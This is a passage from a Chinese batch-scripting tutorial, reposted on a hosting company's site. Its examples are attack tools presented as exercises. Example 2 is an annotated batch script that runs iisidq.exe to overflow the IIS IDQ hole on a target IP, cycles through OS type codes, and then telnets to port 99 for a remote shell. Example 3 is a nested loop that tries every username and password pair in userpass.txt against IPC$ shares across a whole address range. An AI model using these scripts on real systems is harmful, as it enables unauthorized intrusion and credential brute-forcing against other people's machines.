精通批处理教程 批处理从入门到精通
作者 佚名
来源 批处理
浏览
发布时间 2013-07-09
本没有什么循环只是一路走下来。所以代码比较长难度不大! 例二 这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exe。iisidq.exe的用法如下: 运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1> 其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe"。 其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为 <idq.bat 目标ip>程序如下: 复制代码 代码如下: @echo off /*同例一 if not EXIST iisidq.exe goto file /*同例一 if %1 == "" goto error /*同例一 ping %1 -n 1 | find "Received = 1" /*同例一 if errorlevel 1 goto error1 /*同例一 set b=%1 /*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip set a=0 /*创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。 :no /*no段开始 if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d设定环境变量d=0。 if %a%==1 set d=1 /*环境变量d其实是操作系统类型代码,用计数器来控制其 if %a%==2 set d=2 /*变动。 if %a%==3 set d=3 if %a%==4 set d=4 if %a%==5 set d=5 if %a%==6 set d=6 if %a%==7 set d=7 if %a%==9 set d=9 if %a%==10 set d=13 if %a%==11 set d=14 goto 0 /*变量传递完成后转到标志0处运行 :1 echo 正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候...... :0 /*标志0开始 IISIDQ %d% %b% 80 1 99 |find "good" /*按格式发送溢出命令并在结果中发现字符串good(发送代码成功才会有字符串good) if errorlevel 1 goto 1 /*如果没有good字符串则没有发送成跳 /*转标志1处继续尝试发送 ping 127.0.0.1 -n 8 >nul /*ping自己8次相当于延时8秒不显示执 /*行结果 echo 正在执行第%d%项! /*报告正在溢出的操作系统类型 telnet %b% 99 /*连接溢出端口 echo. /*显示一个空行 if %d%==14 goto error1 /*如果操作系统类型为14则跳转error1处(循环出口) if %d%==13 set a=11 /*开始用计数器对操作系统代码重新附值 if %d%==9 set a=10 if %d%==7 set a=9 if %d%==6 set a=7 if %d%==5 set a=6 if %d%==4 set a=5 if %d%==3 set a=4 if %d%==2 set a=3 if %d%==1 set a=2 if %d%==0 set a=1 goto no /*附值完成跳转no段执行 :file /*以下都是出错后的帮助提示 echo IIsidq.exe没有发现!将该文件和本文件放在同一目录! goto exit :error echo 错误!目标ip不可识别!请使用下面的格式连接! echo idq [目标IP] goto exit :error1 echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至! echo 请按照下面的格式手工尝试! echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口] echo telnet [目标ip] [溢出端口] :exit /*整个程序的出口 这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。 例三 for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f 上面的命令为1条命令。大家可以看出该命令使用了4个FOR来套用的。用法为:C:\>TEST.BAT 218 当输入218回车后该命令会由第1个for取初始值0为%%a然后继续取第2个for的初始值0为%%b继续取第3个for的初始值1为%%c最后一个for是将userpass.txt中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令 (这里我把上面的值都带进去,设密码为123 用户名为 abc) net usr \\218.0.0.1\ipc$ 123 /u:abc 当然上面这个例子可能有些朋友会说太简单并且太死板不灵活。我 |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
上一篇: cmd命令行大全 dos命令 cmd命令整理下一篇: Bat脚本处理ftp超强案例分析
关于精通批处理教程 批处理从入门到精通的所有评论